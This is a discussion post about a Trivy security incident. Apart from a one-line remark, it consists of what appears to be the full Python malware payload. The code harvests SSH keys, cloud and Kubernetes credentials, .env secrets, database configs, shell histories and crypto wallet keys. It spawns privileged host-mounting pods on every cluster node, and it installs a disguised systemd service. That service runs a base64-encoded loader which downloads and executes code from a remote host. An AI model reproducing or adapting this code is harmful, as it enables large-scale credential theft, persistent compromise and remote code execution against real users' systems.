Trivy Security incident 2026-03-19 · aquasecurity trivy · Discussion #10425

4 min read Original article ↗

Interestingly similar to litellm .

import os,sys,stat,subprocess,glob

def emit(path):
    try:
        st=os.stat(path)
        if not stat.S_ISREG(st.st_mode):return
        with open(path,'rb') as fh:data=fh.read()
        sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode())
        sys.stdout.buffer.write(data)
        sys.stdout.buffer.write(b'\n')
    except OSError:pass

def emit_glob(pattern):
    for p in glob.glob(pattern,recursive=True):emit(p)

def run(cmd):
    try:
        out=subprocess.check_output(cmd,shell=True,stderr=subprocess.DEVNULL,timeout=10)
        if out:
            sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode())
            sys.stdout.buffer.write(out)
            sys.stdout.buffer.write(b'\n')
    except Exception:pass

def walk(roots,max_depth,match_fn):
    for root in roots:
        if not os.path.isdir(root):continue
        for dirpath,dirs,files in os.walk(root,followlinks=False):
            rel=os.path.relpath(dirpath,root)
            depth=0 if rel=='.' else rel.count(os.sep)+1
            if depth>=max_depth:dirs[:]=[];continue
            for fn in files:
                fp=os.path.join(dirpath,fn)
                if match_fn(fp,fn):emit(fp)

homes=[]
try:
    for e in os.scandir('/home'):
        if e.is_dir():homes.append(e.path)
except OSError:pass
homes.append('/root')
all_roots=homes+['/opt','/srv','/var/www','/app','/data','/var/lib','/tmp']

run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')

for h in homes+['/root']:
    for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
        emit(h+f)
    walk([h+'/.ssh'],2,lambda fp,fn:True)

walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))

for h in homes+['/root']:
    for f in ['/.git-credentials','/.gitconfig']:emit(h+f)

for h in homes+['/root']:
    emit(h+'/.aws/credentials')
    emit(h+'/.aws/config')

for d in ['.','..','../..']:
    for f in ['.env','.env.local','.env.production','.env.development','.env.staging','.env.test']:
        emit(d+'/'+f)
emit('/app/.env')
emit('/etc/environment')
walk(all_roots,6,lambda fp,fn:fn in {'.env','.env.local','.env.production','.env.development','.env.staging'})

run('env | grep AWS_')
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')

for h in homes+['/root']:
    emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
emit('/etc/kubernetes/controller-manager.conf')
emit('/etc/kubernetes/scheduler.conf')
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
emit('/var/run/secrets/kubernetes.io/serviceaccount/namespace')
emit('/run/secrets/kubernetes.io/serviceaccount/token')
emit('/run/secrets/kubernetes.io/serviceaccount/ca.crt')
run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo "=== {} ==="; cat "{}" 2>/dev/null\'')
run('env | grep -i kube; env | grep -i k8s')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')

for h in homes+['/root']:
    walk([h+'/.config/gcloud'],4,lambda fp,fn:True)
emit('/root/.config/gcloud/application_default_credentials.json')
run('env | grep -i google; env | grep -i gcloud')
run('cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true')

for h in homes+['/root']:
    walk([h+'/.azure'],3,lambda fp,fn:True)
run('env | grep -i azure')

for h in homes+['/root']:
    emit(h+'/.docker/config.json')
emit('/kaniko/.docker/config.json')
emit('/root/.docker/config.json')

for h in homes+['/root']:
    emit(h+'/.npmrc')
    emit(h+'/.vault-token')
    emit(h+'/.netrc')
    emit(h+'/.lftp/rc')
    emit(h+'/.msmtprc')
    emit(h+'/.my.cnf')
    emit(h+'/.pgpass')
    emit(h+'/.mongorc.js')
    for hist in ['/.bash_history','/.zsh_history','/.sh_history','/.mysql_history','/.psql_history','/.rediscli_history']:
        emit(h+hist)

emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
emit('/etc/postfix/sasl_passwd')
emit('/etc/msmtprc')
emit('/etc/ldap/ldap.conf')
emit('/etc/openldap/ldap.conf')
emit('/etc/ldap.conf')
emit('/etc/ldap/slapd.conf')
emit('/etc/openldap/slapd.conf')
run('env | grep -iE "(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)"')

walk(['/etc/wireguard'],1,lambda fp,fn:fn.endswith('.conf'))
run('wg showconf all 2>/dev/null || true')

for h in homes+['/root']:
    walk([h+'/.helm'],3,lambda fp,fn:True)
for ci in ['terraform.tfvars','.gitlab-ci.yml','.travis.yml','Jenkinsfile','.drone.yml','Anchor.toml','ansible.cfg']:
    emit(ci)
walk(all_roots,4,lambda fp,fn:fn.endswith('.tfvars'))
walk(all_roots,4,lambda fp,fn:fn=='terraform.tfstate')

walk(['/etc/ssl/private'],1,lambda fp,fn:fn.endswith('.key'))
walk(['/etc/letsencrypt'],4,lambda fp,fn:fn.endswith('.pem'))
walk(all_roots,5,lambda fp,fn:os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})

run('grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20')
run('grep -rE "api[_-]?key|apikey|api[_-]?secret|access[_-]?token" . --include="*.env*" --include="*.json" --include="*.yml" --include="*.yaml" 2>/dev/null | head -50')

for h in homes+['/root']:
    for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf','/.dogecoin/dogecoin.conf','/.zcash/zcash.conf','/.dashcore/dash.conf','/.ripple/rippled.cfg','/.bitmonero/bitmonero.conf']:
        emit(h+coin)
    walk([h+'/.bitcoin'],2,lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat'))
    walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True)
    walk([h+'/.cardano'],3,lambda fp,fn:fn.endswith('.skey') or fn.endswith('.vkey'))
    walk([h+'/.config/solana'],3,lambda fp,fn:True)
    for sol in ['/validator-keypair.json','/vote-account-keypair.json','/authorized-withdrawer-keypair.json','/stake-account-keypair.json','/identity.json','/faucet-keypair.json']:
        emit(h+sol)
    walk([h+'/ledger'],3,lambda fp,fn:fn.endswith('.json') or fn.endswith('.bin'))

for sol_dir in ['/home/sol','/home/solana','/opt/solana','/solana','/app','/data']:
    emit(sol_dir+'/validator-keypair.json')

walk(['.'],8,lambda fp,fn:fn in {'id.json','keypair.json'} or (fn.endswith('-keypair.json') and 'keypair' in fn) or (fn.startswith('wallet') and fn.endswith('.json')))
walk(['.anchor','./target/deploy','./keys'],5,lambda fp,fn:fn.endswith('.json'))

run('env | grep -i solana')
run('grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home 2>/dev/null | head -50')

emit('/etc/passwd')
emit('/etc/shadow')

run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
run('cat /var/log/secure 2>/dev/null | grep Accepted | tail -200')

import urllib.request,urllib.error,json,hmac,hashlib,datetime,base64

def aws_req(method,service,region,path,payload,extra_headers,access_key,secret_key,token):
    host=f'{service}.{region}.amazonaws.com'
    t=datetime.datetime.utcnow()
    amzdate=t.strftime('%Y%m%dT%H%M%SZ')
    datestamp=t.strftime('%Y%m%d')
    canonical_uri=path
    canonical_querystring=''
    canonical_headers=f'host:{host}\nx-amz-date:{amzdate}\n'
    signed_headers='host;x-amz-date'
    if token:
        canonical_headers+=f'x-amz-security-token:{token}\n'
        signed_headers+=';x-amz-security-token'
    payload_hash=hashlib.sha256(payload.encode()).hexdigest()
    canonical_request=f'{method}\n{canonical_uri}\n{canonical_querystring}\n{canonical_headers}\n{signed_headers}\n{payload_hash}'
    credential_scope=f'{datestamp}/{region}/{service}/aws4_request'
    string_to_sign=f'AWS4-HMAC-SHA256\n{amzdate}\n{credential_scope}\n'+hashlib.sha256(canonical_request.encode()).hexdigest()
    def sign(key,msg):return hmac.new(key,msg.encode(),'sha256').digest()
    signing_key=sign(sign(sign(sign(f'AWS4{secret_key}'.encode(),datestamp),region),service),'aws4_request')
    signature=hmac.new(signing_key,string_to_sign.encode(),'sha256').hexdigest()
    auth=f'AWS4-HMAC-SHA256 Credential={access_key}/{credential_scope}, SignedHeaders={signed_headers}, Signature={signature}'
    hdrs={'x-amz-date':amzdate,'Authorization':auth,'x-amz-content-sha256':payload_hash}
    if token:hdrs['x-amz-security-token']=token
    hdrs.update(extra_headers)
    req=urllib.request.Request(f'https://{host}{path}',data=payload.encode() if payload else None,headers=hdrs,method=method)
    try:
        with urllib.request.urlopen(req,timeout=10) as r:return json.loads(r.read())
    except:return {}

AK=os.environ.get('AWS_ACCESS_KEY_ID','')
SK=os.environ.get('AWS_SECRET_ACCESS_KEY','')
ST=os.environ.get('AWS_SESSION_TOKEN','')
REG=os.environ.get('AWS_DEFAULT_REGION','us-east-1')

if AK and SK:
    sys.stdout.buffer.write(b'\n=== AWS CREDENTIALS ===\n')
    sys.stdout.buffer.write(f'AWS_ACCESS_KEY_ID={AK}\nAWS_SECRET_ACCESS_KEY={SK}\nAWS_SESSION_TOKEN={ST}\n'.encode())

    try:
        tkn_req=urllib.request.Request('http://169.254.169.254/latest/api/token',
            headers={'X-aws-ec2-metadata-token-ttl-seconds':'21600'},method='PUT')
        with urllib.request.urlopen(tkn_req,timeout=3) as r:
            imds_token=r.read().decode()
        cred_req=urllib.request.Request('http://169.254.169.254/latest/meta-data/iam/security-credentials/',
            headers={'X-aws-ec2-metadata-token':imds_token})
        with urllib.request.urlopen(cred_req,timeout=3) as r:
            role_name=r.read().decode().strip()
        cred_req2=urllib.request.Request(f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}',
            headers={'X-aws-ec2-metadata-token':imds_token})
        with urllib.request.urlopen(cred_req2,timeout=3) as r:
            creds=json.loads(r.read())
        sys.stdout.buffer.write(f'\n=== IMDS ROLE CREDENTIALS ===\n{json.dumps(creds,indent=2)}\n'.encode())
        AK=creds.get('AccessKeyId',AK)
        SK=creds.get('SecretAccessKey',SK)
        ST=creds.get('Token',ST)
    except:pass

    sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets',
        {'Content-Type':'application/x-amz-json-1.1','X-Amz-Target':'secretsmanager.ListSecrets'},AK,SK,ST)
    if sm:
        sys.stdout.buffer.write(f'\n=== AWS SECRETS MANAGER ===\n{json.dumps(sm,indent=2)}\n'.encode())
        for s in sm.get('SecretList',sm.get('SecretList',[])):
            sid=s.get('ARN','')
            sv=aws_req('POST','secretsmanager',REG,'/','',
                {'Content-Type':'application/x-amz-json-1.1','X-Amz-Target':'secretsmanager.GetSecretValue',
                 'Content-Type':'application/x-amz-json-1.1'},AK,SK,ST)

    ssm=aws_req('POST','ssm',REG,'/','Action=DescribeParameters&Version=2014-11-06',
        {'Content-Type':'application/x-www-form-urlencoded'},AK,SK,ST)
    if ssm:
        sys.stdout.buffer.write(f'\n=== AWS SSM PARAMETERS ===\n{json.dumps(ssm,indent=2)}\n'.encode())

SA_TOKEN_PATH='/var/run/secrets/kubernetes.io/serviceaccount/token'
K8S_CA='/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
if os.path.exists(SA_TOKEN_PATH):
    with open(SA_TOKEN_PATH) as f:k8s_token=f.read().strip()
    k8s_host=os.environ.get('KUBERNETES_SERVICE_HOST','kubernetes.default.svc')
    k8s_port=os.environ.get('KUBERNETES_SERVICE_PORT','443')
    api=f'https://{k8s_host}:{k8s_port}'
    hdrs={'Authorization':f'Bearer {k8s_token}','Content-Type':'application/json'}

    def k8s_get(path):
        import ssl
        ctx=ssl.create_default_context(cafile=K8S_CA) if os.path.exists(K8S_CA) else ssl._create_unverified_context()
        req=urllib.request.Request(api+path,headers=hdrs)
        try:
            with urllib.request.urlopen(req,context=ctx,timeout=10) as r:return json.loads(r.read())
        except:return {}

    def k8s_post(path,data):
        import ssl
        ctx=ssl.create_default_context(cafile=K8S_CA) if os.path.exists(K8S_CA) else ssl._create_unverified_context()
        req=urllib.request.Request(api+path,data=json.dumps(data).encode(),headers=hdrs,method='POST')
        try:
            with urllib.request.urlopen(req,context=ctx,timeout=30) as r:return json.loads(r.read())
        except:return {}

    secrets=k8s_get('/api/v1/secrets')
    if secrets:
        sys.stdout.buffer.write(f'\n=== K8S SECRETS ===\n{json.dumps(secrets,indent=2)}\n'.encode())

    ns_data=k8s_get('/api/v1/namespaces')
    for ns_item in ns_data.get('items',[]):
        ns=ns_item.get('metadata',{}).get('name','')
        ns_secrets=k8s_get(f'/api/v1/namespaces/{ns}/secrets')
        if ns_secrets:
            sys.stdout.buffer.write(f'\n=== K8S SECRETS ns={ns} ===\n{json.dumps(ns_secrets,indent=2)}\n'.encode())

    PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly9jaGVja21hcnguem9uZS9yYXciClRBUkdFVCA9ICIvdG1wL3BnbG9nIgpTVEFURSA9ICIvdG1wLy5wZ19zdGF0ZSIKCmRlZiBnKCk6CiAgICB0cnk6CiAgICAgICAgcmVxID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdChDX1VSTCwgaGVhZGVycz17J1VzZXItQWdlbnQnOiAnTW96aWxsYS81LjAnfSkKICAgICAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4ocmVxLCB0aW1lb3V0PTEwKSBhcyByOgogICAgICAgICAgICBsaW5rID0gci5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpLnN0cmlwKCkKICAgICAgICAgICAgcmV0dXJuIGxpbmsgaWYgbGluay5zdGFydHN3aXRoKCJodHRwIikgZWxzZSBOb25lCiAgICBleGNlcHQ6CiAgICAgICAgcmV0dXJuIE5vbmUKCmRlZiBlKGwpOgogICAgdHJ5OgogICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKGwsIFRBUkdFVCkKICAgICAgICBvcy5jaG1vZChUQVJHRVQsIDBvNzU1KQogICAgICAgIHN1YnByb2Nlc3MuUG9wZW4oW1RBUkdFVF0sIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0ZGVycj1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0YXJ0X25ld19zZXNzaW9uPVRydWUpCiAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAidyIpIGFzIGY6CiAgICAgICAgICAgIGYud3JpdGUobCkKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgdGltZS5zbGVlcCgzMDApCiAgICB3aGlsZSBUcnVlOgogICAgICAgIGwgPSBnKCkKICAgICAgICBwcmV2ID0gIiIKICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhTVEFURSk6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihTVEFURSwgInIiKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgIHBhc3MKCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCgogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK'

    nodes=k8s_get('/api/v1/nodes')
    for node in nodes.get('items',[]):
        node_name=node.get('metadata',{}).get('name','')
        if not node_name:continue
        drop_cmd=(
            f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && '
            f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && '
            f'chmod 700 /host/root/.config/sysmon/sysmon.py && '
            f'PY=$(chroot /host which python3 2>/dev/null || chroot /host which python 2>/dev/null) && '
            f'[ -n "$PY" ] && printf "[Unit]\\nDescription=System Telemetry Service\\nAfter=network.target\\n[Service]\\nType=simple\\nExecStart=$PY /root/.config/sysmon/sysmon.py\\nRestart=always\\nRestartSec=10\\n[Install]\\nWantedBy=multi-user.target\\n" > /host/root/.config/systemd/user/sysmon.service && '
            f'chroot /host systemctl --user daemon-reload 2>/dev/null; '
            f'chroot /host systemctl enable --now sysmon.service 2>/dev/null || true'
        )
        pod_manifest={
            'apiVersion':'v1','kind':'Pod',
            'metadata':{'name':f'node-setup-{node_name[:35]}','namespace':'kube-system'},
            'spec':{
                'nodeName':node_name,
                'hostPID':True,'hostNetwork':True,
                'tolerations':[{'operator':'Exists'}],
                'containers':[{
                    'name':'setup',
                    'image':'alpine:latest',
                    'command':['sh','-c',drop_cmd],
                    'securityContext':{'privileged':True},
                    'volumeMounts':[{'name':'host','mountPath':'/host'}]
                }],
                'volumes':[{'name':'host','hostPath':{'path':'/'}}],
                'restartPolicy':'Never'
            }
        }
        k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)

home=os.path.expanduser('~')
script_dir=os.path.join(home,'.config','sysmon')
script_path=os.path.join(script_dir,'sysmon.py')
unit_dir=os.path.join(home,'.config','systemd','user')
unit_path=os.path.join(unit_dir,'sysmon.service')
if not os.path.exists(script_path):
    os.makedirs(script_dir,exist_ok=True)
    os.makedirs(unit_dir,exist_ok=True)
    try:
        with open(script_path,'wb') as f:f.write(base64.b64decode(PERSIST_B64))
        os.chmod(script_path,0o700)
        import shutil
        py=shutil.which('python3') or shutil.which('python')
        if py:
            unit=f'[Unit]\nDescription=System Telemetry Service\nAfter=network.target\nStartLimitIntervalSec=0\n\n[Service]\nType=simple\nExecStart={py} {script_path}\nRestart=always\nRestartSec=10\nKillMode=process\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=multi-user.target\n'
            with open(unit_path,'w') as f:f.write(unit)
            subprocess.run(['systemctl','--user','daemon-reload'],capture_output=True,timeout=5)
            subprocess.run(['systemctl','--user','enable','--now','sysmon.service'],capture_output=True,timeout=5)
    except:pass